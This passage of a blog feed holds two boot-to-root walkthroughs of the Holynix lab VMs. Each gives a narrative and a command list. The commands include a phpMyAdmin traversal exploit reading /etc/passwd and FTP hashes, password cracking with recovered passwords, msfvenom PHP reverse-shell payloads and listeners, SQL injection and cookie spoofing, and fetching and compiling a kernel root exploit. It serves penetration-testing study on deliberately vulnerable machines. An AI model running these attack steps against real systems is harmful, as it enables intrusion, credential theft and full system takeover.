attacker knew that this IP address wasn't currently being used. The attacker then attempted a zone transfer as DNS port (TCP 53) was open, which would clone the DNS database; however it failed. But, by the attacker changing their IP address to match the secondary DNS server and re-trying the request, this time the attacker was presented with a list of all the known values for the DNS service.&lt;br /&gt;&lt;br /&gt;The next stage was to extract a list of all known hosts from the sub-domains as well as a possible list of usernames. Upon futher inspection of the list, the attacker then filtered out all the primary server values - which left a few interesting results such as; the nameservers &lt;i&gt;(which were already known)&lt;/i&gt;, a mail server (which was on a completely different IP range) and trusted.zincftp.com.&lt;br /&gt;&lt;br /&gt;The attacker then moves their force back to the web server. "DirBuster" was able to brute force a list of directories on a web server and check their status. In the first scan, the attacker notices two folders (/phpMyAdmin/ &amp;amp; /setup_guide/) which returned "HTTP response code 403 - Forbidden". The attacker then changes their IP address to match the same value as "trusted.zincftp.com" and re-open another instance of DirBuster to compare the output. After the second scan had completed, the two previous denied folders, had returned "HTTP response code 200 - OK". The attacker then chooses to view what was meant to be hidden and discovers that one page is an unprotected phpMyAdmin page as well as a directory listing which only contained one file "todo".&lt;br /&gt;By exploring the phpMyAdmin page, the attacker was able to view the contents of the database which contained two usernames and their email addresses, which the attacker adds to their list of known users. &lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12pt; line-height: 115%;"&gt;Afterwards&lt;/span&gt;, the attacker checks the version of phpMyAdmin and notices it's a very old version and checks to see if there has been any known exploits released for it in their local copy of public exploits from "exploit-db". After checking the versions the attacker discovers that there is a remote directory traversal vulnerability.&lt;br /&gt;&lt;br /&gt;The exploit allowed the attacker to view any files which had the same permission that phpMyAdmin was being run as. By using this, the attacker was able to discover all the user accounts on the system, by using a known file which commonly contains details of each user on the system (/etc/passwd). After analysing the file the attacker saw that not every user had shell access, and filtered these users out, as they wouldn't be able to gain remote shell. The attacker then made a note of those usernames in a separate file, as they have higher priority.&lt;br /&gt;Afterwards the attacker viewed the "todo" file on the web server, which displayed the internal working of the company when a new user is added to the system. The last stage was to add them to the FTP service, allowing them to download/upload files to the server. By using the phpMyAdmin exploit, the attacker was able to read the encrypted password file which contained the user credentials. &lt;br /&gt;&lt;br /&gt;The attacker now had a local copy of the users which were allowed to use the FTP service, along with their passwords, however, it was encrypted. The attacker then locates a small wordlist to attempt to brute force the passwords. After loading the passwords and wordlist into "John The Ripper", the attacker discovered two passwords (jack-in-the-box and millionaire) which were used (due to them being inside the wordlist), along with the two usernames (dhammond and tmartin).&lt;br /&gt;&lt;br /&gt;As the attacker was now able to view the user web folder via [username].zincftp.com, as well as being able to interact with the ftp server, the attacker created and uploaded a small test file to see if the two services overlapped with each other. (Editor's note: The VM at this stage had "run out of room", however, after restarting the holynix virtual machine it worked). The result was the message "Hello World" was displayed, meaning; FTP &amp;amp; Web root folders were the same, the attacker was able execute PHP commands. From this, the attacker then crafts a web based backdoor via "metasploit", setups a listener to catch the reverse connection and repeated the same procedure as before.&lt;br /&gt;&lt;br /&gt;As soon as the php backdoor file was opened, it connected back to the attacker giving them remote access to the system, which allowed the attacker to interact with the operating system. The attacker continued by listing all the files of each user's personal home folder. As the backdoor was executed by the web server, the backdoor inherited the same permissions, and, as the web server had to display each user folder the attacker can also do the same. There were various personal files to some users; however the attacker spotted an email, and upon reading it discovered that the user had their password reset to their name along with a few random characters. The attacker located the username the email was sent to, after looking up the user's details by using the same file as before (/etc/passwd), to discover their full name. It was also a user that had been discovered before, due to the user having permission to login remotely.&lt;br /&gt;&lt;br /&gt;The attacker now connects to the target via "SSH" with the newly acquired details and as a result had a remote TTY shell. The attacker then checked the current kernel version, and discovered like phpMyAdmin, it was out-dated, and checks in the same manner to see if there is a public exploit for it. After locating a possible exploit, the attacker then copied it to their root web folder, checked that the file had permission to be accessed by "Apache", that there wasn't any comments at the start of the file and then started the web server, to make the file accessible to the target.&lt;br /&gt;&lt;br /&gt;Going back to the target, the attacker navigates to a folder which they usually have write access as well as the ability to execute programs, /tmp. The attacker then downloads the exploit locally on the target and then compiles it. As soon as the newly created program had been executed the attacker became the super user, root.   The attacker now has access to the complete system...&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;The attacker decided that they wished to harvest the system for credentials. As databases can contain valuable and sensitive information, the attacker opted to gain access. The attacker was running as root, which would allow them to reset the password to anything they wished. However, this would have caused the functionality to stop, so instead they located them (as they had to be stored somewhere allowing the web server to interact with the database). The attacker navigated to a common location for the web root folder to be, and then, by searching for all files with php extension that use a common function to connect to a MySQL database, the attacker found all the insistences of the command. The attacker was then able to view the complete file which contained the phrase, and discovered the credentials in plain text.&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt; &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;netdiscover&lt;br /&gt;ifconfig eth0&lt;br /&gt;ifconfig eth0 192.168.1.192&lt;br /&gt;ifconfig eth0&lt;br /&gt;us -H -msf -Iv 192.168.1.88 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.1.88 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v 192.168.1.88&lt;br /&gt;firefox 192.168.1.88&lt;br /&gt;echo www.zincftp.com 192.168.1.88 &amp;gt;&amp;gt; /etc/hosts&lt;br /&gt;cat /etc/hosts&lt;br /&gt;echo nameserver 192.168.1.88 &amp;gt; /etc/resolv.conf&lt;br /&gt;cat /etc/resolv.conf&lt;br /&gt;dig zincftp.com @192.168.1.88&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88&lt;br /&gt;ifconfig eth0 192.168.1.89&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -f1 - | sort | uniq&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -f1 - | sort | uniq &amp;gt; /tmp/hosts&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -d . -f1 - | sort | uniq&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -d . -f1 - | sort | uniq &amp;gt; /tmp/users&lt;br /&gt;dig AXFR zincftp.com @192.168.1.88 | grep -v 192.168.1.88 | grep -v ";"&lt;br /&gt;BackTrack -&amp;gt; Vulnerability Assessment -&amp;gt; Web Application Assessment -&amp;gt; Web Application Fuzzers -&amp;gt; DirBuster   # http://192.168.1.88  directory-list-2.3-medium.txt&lt;br /&gt;ifconfig eth0 192.168.1.34&lt;br /&gt;BackTrack -&amp;gt; Vulnerability Assessment -&amp;gt; Web Application Assessment -&amp;gt; Web Application Fuzzers -&amp;gt; DirBuster   # http://192.168.1.88  directory-list-2.3-medium.txt&lt;br /&gt;Right Click -&amp;gt; Open In Broswer   # /phpMyAdmin/   /setup_guide/&lt;br /&gt;phpMyAdmin -&amp;gt; zincftp_data -&amp;gt; browse   # shanover &amp;amp; lbaumann&lt;br /&gt;phpMyAdmin -&amp;gt; home -&amp;gt; changelog&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;grep -i phpmyadmin files.csv&lt;br /&gt;perl platforms/php/webapps/1244.pl&lt;br /&gt;perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd&lt;br /&gt;perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd | grep /bin/bash | cut -d ":" -f1&lt;br /&gt;perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd | grep /bin/bash | cut -d ":" -f1 &amp;gt; /tmp/sshUsers&lt;br /&gt;firefox http://192.168.1.88/setup_guide/ -&amp;gt; todo&lt;br /&gt;perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/pure-ftpd/pureftpd.passwd&lt;br /&gt;perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/pure-ftpd/pureftpd.passwd | grep :/&lt;br /&gt;perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/pure-ftpd/pureftpd.passwd | grep :/ &amp;gt; /tmp/ftpUsers&lt;br /&gt;&lt;br /&gt;cd /pentest/passwords/john&lt;br /&gt;find / -name password.lst&lt;br /&gt;wc -l /pentest/passwords/wordlists/darkc0de.lst&lt;br /&gt;wc -l /opt/framework3/msf3/data/john/wordlists/password.lst   # Much smaller, therefore quicker!&lt;br /&gt;./john --wordlist=/opt/framework3/msf3/data/john/wordlists/password.lst /tmp/ftpUsers   # --rules&lt;br /&gt;ftp 192.168.1.88   # dhammond jack-in-the-box&lt;br /&gt;ls&lt;br /&gt;cd web&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;? echo \"Hello World\"; ?&amp;gt;" &amp;gt; test.php &lt;br /&gt;&lt;br /&gt;put test.php&lt;br /&gt;&lt;br /&gt;curl dhammond.zincftp.com/test.php&lt;br /&gt;msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=443 -f raw &amp;gt; evil.php&lt;br /&gt;msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=443 E&lt;br /&gt;&lt;br /&gt;put evil.php&lt;br /&gt;&lt;br /&gt;curl dhammond.zincftp.com/evil.php &amp;amp;&amp;amp; exit&lt;br /&gt;&lt;br /&gt;sysinfo&lt;br /&gt;shell&lt;br /&gt;id&lt;br /&gt;python -c 'import pty; pty.spawn("/bin/sh")'&lt;br /&gt;ls -lAhR /home&lt;br /&gt;cat /home/amckinley/my_key.eml   #first and last name, all lower case, followed by 2ba9&lt;br /&gt;grep amckinley /etc/passwd    # Agustin Mckinley&lt;br /&gt;exit&lt;br /&gt;&lt;br /&gt;quit&lt;br /&gt;ssh amckinley@zincftp.com   # agustinmckinley2ba9&lt;br /&gt;id&lt;br /&gt;uname -a&lt;br /&gt;&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;cd /pentest/explotis/exploitdb&lt;br /&gt;grep -i "linux kernel 2.6"  files.csv | grep -i root   #| uniq   # grep -i dos&lt;br /&gt;cp platforms/linux/local/5092.c /var/www/exploit.c&lt;br /&gt;/etc/init.d/apache2 start&lt;br /&gt;ls -l /var/www/exploit.c&lt;br /&gt;head -n 20 /var/www/exploit.c   # Check to make sure vaild code&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;ls -la&lt;br /&gt;wget 192.168.1.34/exploit.c&lt;br /&gt;gcc exploit.c -o root&lt;br /&gt;ls -la&lt;br /&gt;./root&lt;br /&gt;id &amp;amp;&amp;amp; ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lahR /root&lt;br /&gt;cd /var/www&lt;br /&gt;find ./ -name *.php -print0 | xargs -0 grep -i -n "mysql_connect"&lt;br /&gt;cat dev/dbconn.php&lt;br /&gt;cat htdocs/dbconn.php&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt; &lt;br /&gt;&lt;ul&gt;&lt;li&gt;When starting the VM for the first time with VMware, select "Moved It" - &lt;i&gt;otherwise it could cause issues (e.g. the target will not be visible!).&lt;/i&gt; &lt;/li&gt;&lt;li&gt;The user names which were collected were not essential for this, however this was included to demonstrate the techniques.&lt;/li&gt;&lt;li&gt;On reflection, DirBuster was only used to visible compare the HTTP codes, depending on  the IP address used. This could of been achived manually as checking "/phpMyAdmin/" is highly recommend (along  with "/robots.txt" for example). Then by using the phpMyAdmin exploit, viewing the file "/etc/apache2/sites-enabled/000-default" would have revealed "/setup_guides/".&lt;/li&gt;&lt;li&gt;Some mistakes in the video are more obvious.&lt;/li&gt;&lt;li&gt;This video has been "over-edited" more than most of the other videos as it was made to fix the length of music.&lt;/li&gt;&lt;/ul&gt;Song: &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/15656003/Beautiful-Lies-VIP/Product.html?aid=15655997"&gt;B-Complex - Beautiful Lies VIP&lt;/a&gt; &amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/15547129/Climax/Product.html?aid=15546886"&gt;Camo &amp;amp; Krooked - Climax&lt;/a&gt;&lt;br /&gt;Video length: 11:16&lt;br /&gt;Capture length: 59:11&lt;br /&gt;Blog Post: &lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-2.html"&gt;http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-2.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/44124-%5Bvideo%5D-holynix-level-2-a.html#post205351"&gt;http://www.backtrack-linux.org/forums/backtrack-5-videos/44124-%5Bvideo%5D-holynix-level-2-a.html#post205351&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-7200181253466243426?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/7200181253466243426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-2.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/7200181253466243426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/7200181253466243426'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-2.html' title='[Video] Holynix - Level 2'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-8167094761462111926</id><published>2011-08-17T08:53:00.007+01:00</published><updated>2011-08-17T11:15:53.609+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='Holynix'/><title type='text'>[Video] Holynix - Level 1</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line: &lt;a href="http://blip.tv/g0tmi1k/holynix-level-1-5474680"&gt;http://blip.tv/g0tmi1k/holynix-level-1-5474680&lt;/a&gt;&lt;br /&gt;Download video: &lt;a href="http://www.mediafire.com/?yc9nmb02cgotaa9"&gt;http://www.mediafire.com/?yc9nmb02cgotaa9&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFgs6TXAA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFgs6TXAA" src="http://a.blip.tv/api.swf#hdkFgs6TXAA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview &lt;/div&gt;The &lt;a href="http://g0tmi1k.blogspot.com/search/label/Holynix"&gt;Holynix&lt;/a&gt; series is another collection of operating systems with purposely crafted weakness(es) in them. The usual aim of a "&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;"; try and get a shell with the highest user privilege you can.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method &lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned the network for the target (nmap)&lt;/li&gt;&lt;li&gt;Port scanned the host (unicornscan)&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the  open ports (nmap)&lt;/li&gt;&lt;li&gt;Bypass the login screen (SQL Injection &amp;amp; Cookie modification)&lt;/li&gt;&lt;li&gt;Collected possible usernames from harvested email addresses (Bash fu)&lt;/li&gt;&lt;li&gt;Discovered system usernames (Tamper Data)&lt;/li&gt;&lt;li&gt;Located user online directories (DirBuster)&lt;/li&gt;&lt;li&gt;Uploaded backdoor with spoofed credentials (Tamper Data)&lt;/li&gt;&lt;li&gt;Located database credentials &amp;amp; viewed content&lt;/li&gt;&lt;li&gt;Escalated privileges (Plain text credentials)&lt;/li&gt;&lt;li&gt;Cloned the user's port knocking profile (KnockKnock)&lt;/li&gt;&lt;li&gt;Discovered a vulnerable running service to gain future privileges (ChangeTrack)&lt;/li&gt;&lt;li&gt;Waited for the exploit to be triggered (Scheduled for ever 5 minutes)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need? &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://sourceforge.net/projects/holynix/files/1.0/"&gt;holynix-v1.tar.bz2&lt;/a&gt; &lt;i&gt;&lt;span style="font-size: xx-small;"&gt;[MD5: D19306C6C2305005C72A7811D2B72B51] &lt;/span&gt;&lt;/i&gt;– &lt;i&gt;(&lt;a href="http://pynstrom.net/holynix.php"&gt;Homepage&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine &lt;i&gt;(Example: &lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt; or &lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;Nmap&lt;/a&gt; – &lt;i&gt;(Can be found in &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.unicornscan.org/"&gt;Unicornscan&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/"&gt;Tamper Data&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"&gt;DirBuster&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5).&lt;/i&gt;&lt;i&gt; &lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.thoughtcrime.org/software/knockknock/"&gt;knockknock&lt;/a&gt; – &lt;i&gt;(Can be found in Holynix VM!)&lt;/i&gt;&lt;i&gt; &lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://exploit-db.com/"&gt;Exploit-DB&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;Netcat&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5). &lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough &lt;/div&gt;To start the attack, the target needed to be identified on the network. To achieve this, the attacker used nmap's quick "ping" scan, which reveals the targets IP address and MAC address (and vendor&lt;i&gt; - if known&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;By using unicornscan, the attacker was able to quickly scan every TCP &amp;amp; UDP port, in which to see if there are any services listening. The scan showed that only TCP port 80 was open, which happens to be the default web server port. The attacker then checked the results by "banner grabbing" with nmap, which confirmed that TCP port 80 had a web server running on it and at the same time detected the type of operating system being used.&lt;br /&gt;&lt;br /&gt;The attacker then choose to interact with the web server by viewing its contents which they were presented with a login page. As the attacker hadn't collected any possible credentials, they tried to bypass it, rather than using brute force. By trial and error the attacker soon discovered that the password field is vulnerable to a basic SQL injection. This allowed the attacker to login as the first user in the database, "&lt;i&gt;alamo&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;After viewing the contents of the company's internal web pages, one of the pages displayed each employee's details (name, department, telephone number and email address). To build up an inside knowledge of the company, the attacker collected these details and extracted possible usernames from the email addresses. During this process the attacker discovers that the only form of authentication is the "uid" value in the session cookie and decides to match up the collected usernames to uid values. The attacker is now able to spoof their identity - &lt;i&gt;as 11 different users.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Upon exploring the web site, the attacker discovered a page which displays documents from a pre-populated list. The attacker then modified their requested file, which causes a "Local File Include" (LFI) vulnerability, which is then used to view the current page's source code. The modified request was successful and the content was display inside the current page. By looking though the source code, the attacker was able to see that the page accepted either POST or GET requests &lt;i&gt;- which simplify the process.&lt;/i&gt; The attacker continued by requesting a known file which commonly contains details of each user on the system (/etc/passwd); this returned with the same 11 users.&lt;br /&gt;&lt;br /&gt;The attacker tests the web server to see if "mod_userdir" is enabled, which allows users folders to be accessible via the web server. The attacker takes the list of usernames which has been collected and added a "~" (Tilde) infront of the usernames, as this is used for the "home directory", for the requested username which is followed after it. The attacker then starts DirBuster, which will request all the values on any web server and return with the HTTP code (e.g. 200=successful, 403=forbidden, etc). DirBuster was able to confirm the 11 users on the system do have their personal directories which are publicly accessible.&lt;br /&gt;&lt;br /&gt;Another internal feature on the web server was to allow users to uploads files to their personal folders. The attacker then crafts a reverse backdoor and&amp;nbsp; upload it. However, they discovered that the current user which they are logged in as, alamo, has been disabled and wasn't able to upload files. The attacker tries again, but this time spoofs the requested user ID value to another known user, which was successful. When the attacker navigates to the user folder and opens the uploaded file, to execute the PHP code inside it. They discover the permissions of the file has been altered.&lt;br /&gt;&lt;br /&gt;The attacker goes back to the LFI, and views the source code of the upload page. After analysing the code, they discover another page handles the request. Upon viewing the contents, the attacker notices that by using compressed files, it doesn't affect the file permissions. The attacker then re-packages the backdoor file into a compressed container and uploads with the same spoofed credentials. Before executing the backdoor, the attacker sets up a listener to catch the reverse connection. Once everything is ready, the uploaded code is requested, causing Apache to execute the PHP code, creating the server to connect back to the attacker, which achieves a remote shell for the attacker to interact with the remote system.&lt;br /&gt;&lt;br /&gt;As the web server is using an internal (MySQL) database, the attacker is aware that the credentials need to be stored in a file to allow the web server to interact with the database. As the apache user executed the backdoor, the attacker has the same privileges as the web server, which allows the attacker to read the settings file. The attacker checks a few common default locations and soon locates the settings file, with the database credentials - &lt;i&gt;in plain text.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The current shell is interactive, however it is unable to run certain commands (e.g. su, login or mysql ), as they required TTY (teletypewriter). However by using python the attacker is able to bypass the limitation and locally connect to mysql with the newly acquired details.&lt;br /&gt;&lt;br /&gt;Upon exploring the databases, the attacker sees a few "interesting" named tables, one of which is called "accounts". The attacker displays every entry into this table and discovers the 11 user accounts' details in plain text.&lt;br /&gt;&lt;br /&gt;The attacker goes back to the web server to view the internal message board, which employees used to communicate between. One of the messages explains that there has been issues with brute force attempts on the SSH service, so a "port knocking" solution has been used. Another message explains how to setup the new feature; creating the necessary folder and extracting the user's profile into them. The attacker uses the download link and installs the program, knockknock, for themselves.&lt;br /&gt;&lt;br /&gt;Switching back to the remote system, the attacker changes users to the first user they used at the beginning, alamo. All the passwords recorded in the database is a mixture of upper and lower case, numbers and symbols with a length greater than 12, this creates a very strong password however as the password is stored in plain text it is very weak, allowing for the user to copy and paste the credentials, becoming that user. This allows the attacker to copy alamo's knockknock profile into the user's local home folder. The attacker then simply downloads the whole content of alamo's profile via the web server and places it into the necessary folder. &lt;br /&gt;&lt;br /&gt;The attacker starts the port knocking sequence, each time testing to see if the port has become open for a brief period of time (only a couple of seconds). After the 3rd knock, the attacker is able to connect to the SSH server, which was previously closed.&lt;br /&gt;&lt;br /&gt;Back on the internal message board, the attacker discovers there is "changetrack" installed, configured to back up a certain folder and is scheduled to run every five minutes. This services is usually executed with the highest level of privileges, otherwise it wouldn't be able to back up everything possible.&amp;nbsp; The attacker checks that the user he is using, alamo, has access to the folder which is being monitored; turns out only two users are (one of which is alamo!).&lt;br /&gt;&lt;br /&gt;The attacker then checks a local copy of a public exploit database, exploitdb, to see if there are any known exploits for this service. There was only one result, which reveals that the service doesn't escape certain filenames, therefore filenames which have been crafted can cause the service to execute shell commands. The attacker notes the example filename, which is given, however instead of doing a "bind" connection, they choose to reserve it instead. Locally, the attacker sets up another listener, and remotely checks for, and, configures a program, netcat, which allows for the network connections to read and execute commands. The reason why the attacker flips the direction of netcat was to allow the target to establish, letting the attacker just wait, rather than for them to keep checking.&lt;br /&gt;&lt;br /&gt;The attacker now waits for the changetrack service to be triggered, which shouldn't be long, as it was hinted in the message board; it backs up every five minutes...&lt;br /&gt;&lt;br /&gt;...&lt;i&gt;A little while later,&lt;/i&gt; the attacker notices that the remote system has executed their command and created a remote shell with the super user, root, account privileges. &lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt; &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;nmap 192.168.0.0/24 -sn -n&lt;br /&gt;us -H -msf -Iv 192.168.0.11 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.0.11 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v 192.168.0.11&lt;br /&gt;firefox 192.168.0.11 &amp;amp;   # Username: g0tmi1k   Password: ' OR 1=1 #   id: alamo&lt;br /&gt;Right click -&amp;gt; View Page Info -&amp;gt; Headers&lt;br /&gt;Firefox -&amp;gt; Directory&lt;br /&gt;&lt;br /&gt;curl -s 192.168.0.11&lt;br /&gt;curl -s --cookie "uid=1" 192.168.0.11&lt;br /&gt;curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/&lt;br /&gt; /&lt;br /&gt; \n/g; s/example.net/example.net\n/g" | grep example.net | sed "s/@example.net//"&lt;br /&gt;curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/&lt;br /&gt; /&lt;br /&gt; \n/g; s/example.net/example.net\n/g" | grep example.net | sed "s/@example.net//" &amp;gt; /tmp/users&lt;br /&gt;wc -l /tmp/users&lt;br /&gt;for x in $(seq 1 64); do&lt;br /&gt;  y=$(curl -s --cookie "uid=$x" 192.168.0.11 | grep Welcome, | sed "s/[ \t]*//; s/Welcome, //" | cut -d "." -f1)&lt;br /&gt;  if [ $y ] ; then echo $x=$y ; fi&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;Firefox -&amp;gt; Tools -&amp;gt; Tamper Data -&amp;gt; Start Tamper&lt;br /&gt;firefox http://192.168.0.11/?page=ssp.php    # Display File&lt;br /&gt;Tamper -&amp;gt; text_file_name: ssp.php&lt;br /&gt;http://192.168.0.11//index.php?page=ssp.php&amp;amp;text_file_name=/etc/passwd&lt;br /&gt;&lt;br /&gt;cat /tmp/users| sed 's/^/~/' &amp;gt;&amp;gt; /tmp/users&lt;br /&gt;cd /pentest/web/dirbuster&lt;br /&gt;java -jar DirBuster-0.12.jar -u http://192.168.0.11    # /tmp/users.txt&lt;br /&gt;&lt;br /&gt;msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw &amp;gt; /tmp/evil.jpg&lt;br /&gt;&lt;br /&gt;Firefox -&amp;gt; Tools -&amp;gt; Tamper Data -&amp;gt; Start Tamper&lt;br /&gt;firefox  # Upload (fails)&lt;br /&gt;Tamper -&amp;gt; Cookie: uid=2    # id: etenenbaum&lt;br /&gt;firefox    # Upload again&lt;br /&gt;&lt;br /&gt;firefox http://192.168.0.11/~etenenbaum/   # evil.jpg&lt;br /&gt;firefox http://192.168.0.11/?page=ssp.php    # Display File&lt;br /&gt;Tamper -&amp;gt; text_file_name: /home/etenenbaum/evil.jpg&lt;br /&gt;&lt;br /&gt;http://192.168.0.11//index.php?page=ssp.php&amp;amp;text_file_name=upload.php&lt;br /&gt;http://192.168.0.11//index.php?page=ssp.php&amp;amp;text_file_name=transfer.php&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;mv evil.jpg evil.php&lt;br /&gt;chmod +x evil.php&lt;br /&gt;ls -l evil.php&lt;br /&gt;tar -cvzf evil.tar.gz evil.php&lt;br /&gt;ls -l evil*&lt;br /&gt;msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E&lt;br /&gt;